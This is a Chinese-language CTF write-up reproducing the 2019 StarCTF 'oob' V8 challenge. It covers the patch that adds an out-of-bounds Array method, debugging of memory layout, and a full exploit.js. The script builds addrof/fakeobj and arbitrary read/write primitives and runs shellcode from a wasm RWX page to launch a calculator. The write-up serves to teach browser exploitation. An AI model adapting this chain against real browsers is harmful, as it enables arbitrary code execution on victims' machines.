其他
V8利用初探 2019 StarCTF oob 复现分析
看雪论坛作者ID:srp8ve7ou2
1
环境搭建
# 全局vpn
# 下载Google的环境部署工具
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# 配置环境变量
echo "export PATH=/home/pwn/tools/depot_tools:$PATH" >> ~/.bashrc
# 获取v8源码
fetch v8
cd v8
# 切换至指定的commit版本
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
# 工具同步
gclient sync
# 应用题目的补丁文件
git apply ../oob.diff
# 编译release版本
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
# 编译debug版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
2
poc测试
~/Desktop/v8/v8/v8/out.gn/x64.release$ ./d8 /home/srp8ve7ou2/Desktop/v8/starctf2019/wasm_pwn.js
3
diff文件
这个diff文件给Array对象增加了一个oob方法,提供了数组越界读写的功能,不提供参数时为越界读(arr.oob())
提供一个参数时为越界写(arr.oob(val))。
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
4
基本的调试方法
1、辅助输出的js函数,实现浮点数和整数相互转换的功能
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
# 输出obj对象的内存信息
1、%DebugPrint(obj);
# 控制权从d8转交给gdb调试器,方便观察内存数据
2、%SystemBreak();
double浮点数类型:为64位浮点数的正常表示
smi整数类型:低32位为0,高32位为该整数
指针类型:最低位永远为1
5
v8 Array对象的内存布局
做实验:首先创建了一个长度为2的浮点数数组,然后用DebugPrint输出该数组的调试信息。
element域可以理解为一个指针,指向的是这个Array具体保存的数据。
map域比较复杂但是很重要,可以简单理解成v8用它来表示这是一个什么样的对象,以及采用什么样的方法来对这个对象进行各种操作。
srp8ve7ou2@vm:~/Desktop/v8/v8/v8/out.gn/x64.debug$ gdb d8
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded for GDB 9.2 using Python engine 3.8
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from d8...
gef➤ run --allow-natives-syntax
Starting program: /home/srp8ve7ou2/Desktop/v8/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3a87700 (LWP 15179)]
V8 version 7.5.0 (candidate)
d8> var a = [1.1,2.2]
undefined
d8> %DebugPrint(a)
DebugPrint: 0x2013f4c4dd79: [JSArray]
- map: 0x1f8bf2202ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x20ef3d611111 <JSArray[0]>
- elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x0838ec040c71 <FixedArray[0]> {
#length: 0x2c439fb801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> {
0: 1.1
1: 2.2
}
0x1f8bf2202ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1f8bf2202e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2c439fb80609 <Cell value= 1>
- instance descriptors #1: 0x20ef3d611f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x20ef3d611eb9 <TransitionArray[4]>Transition array #1:
0x0838ec044ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f8bf2202f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x20ef3d611111 <JSArray[0]>
- constructor: 0x20ef3d610ec1 <JSFunction Array (sfi = 0x2c439fb8aca1)>
- dependent code: 0x0838ec0402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.1, 2.2]
d8>
gef➤ x/4gx 0x2013f4c4dd79-1
0x2013f4c4dd78: 0x00001f8bf2202ed9 0x00000838ec040c71
0x2013f4c4dd88: 0x00002013f4c4dd59 0x0000000200000000
再往前的0x00000838ec0414f9 0x0000000200000000则分别代表另一个对象的map域和这个数组的长度(smi类型)。
gef➤ x/10gx 0x2013f4c4dd59-1
0x2013f4c4dd58: 0x00000838ec0414f9 0x0000000200000000
0x2013f4c4dd68: 0x3ff199999999999a 0x400199999999999a
0x2013f4c4dd78: 0x00001f8bf2202ed9 0x00000838ec040c71
0x2013f4c4dd88: 0x00002013f4c4dd59 0x0000000200000000
0x2013f4c4dd98: 0x00000838ec040941 0x00000adce0993e5a
6
利用越界读写map来实现任意地址读写功能。
利用oob方法越界读取出这两个数组的map对象的地址值。获取任意对象地址:
我们先把需要获取地址的对象放入对象数组中,然后将这个对象数组的map篡改为浮点数组的map域。此时再读取这个对象,由于map域被改成了浮点类型的map域,v8会将这个对象的地址当成一个浮点数返回给我们。
任意地址伪造对象:
与上面功能类似,这里是把浮点数组的index0处的数据改为任意地址,然后把浮点数组的map域篡改成对象数组的map域,然后在获取这个值,v8引擎则会将该地址作为一个对象返回给我们。
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.oob(map2);
let addr = obj_arr[0];
obj_arr.oob(map1);
return ftoi(addr);
}
function fakeobj(addr) {
fl_arr[0] = itof(addr);
fl_arr.oob(map1);
let fake = fl_arr[0];
fl_arr.oob(map2);
return fake;
}
先定义一个长度为4的浮点数数组,其index0处放置的是另一个浮点数数组的map域。
然后用上面的fakeobj功能在该map域伪造另一个浮点数数组,那么伪造的这个浮点数数组的element域就对应着原来数组的arb_rw_arr[2],把这个伪造的element域指向要读取地址-0x10,再利用fakeobj完成读取功能即可。
var arb_rw_arr = [map2, 1.2, 1.3, 1.4];
function arb_read(addr) {
if (addr % 2n == 0)
addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
任意地址写功能实现起来比较麻烦,不能直接利用fakeobj来任意写(会报错),还需要通过ArrayBuffer和DataView来实现具体的功能,具体的原因和过程我并没深究:
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
7
完成最后的利用
这里需要提到的是v8内嵌的wasm字节码在内存中是以RWX的权限保存的。
大致的利用思路:
2、本地调试找到字节码存放的具体地址
3、利用任意写功能把shellcode写到该地址处
4、调用该wasm对象,完成任意代码执行。
8
exploit.js
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
/// Construct addrof primitive
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
function addrof(in_obj) {
// First, put the obj whose address we want to find into index 0
obj_arr[0] = in_obj;
// Change the obj array's map to the float array's map
obj_arr.oob(map2);
// Get the address by accessing index 0
let addr = obj_arr[0];
// Set the map back
obj_arr.oob(map1);
// Return the address as a BigInt
return ftoi(addr);
}
function fakeobj(addr) {
// First, put the address as a float into index 0 of the float array
fl_arr[0] = itof(addr);
// Change the float array's map to the obj array's map
fl_arr.oob(map1);
// Get a "fake" object at that memory location and store it
let fake = fl_arr[0];
// Set the map back
fl_arr.oob(map2);
// Return the object
return fake;
}
var arb_rw_arr = [map2, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// We have to use tagged pointers for reading, so we tag the addr
if (addr % 2n == 0)
addr += 1n;
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to read_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Index 0 will then return the value at read_addr
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
console.log("[+] Copying xcalc shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[+] Popping calc");
f();
参考链接:
2、V8 Exploitation : Star CTF 2019 OOB-v8 | by 0verflowme | Medium
看雪ID:srp8ve7ou2
https://bbs.pediy.com/user-home-901712.htm
# 往期推荐
1. 新人PWN入坑总结
2. 数据库注入wp分析心得
4. Cisco RV160W系列路由器漏洞:从1day分析到0day挖掘
5. 从SSL库的内存漫游开发dump自定义客户端证书的通杀脚本
球分享
球点赞
球在看
点击“阅读原文”,了解更多!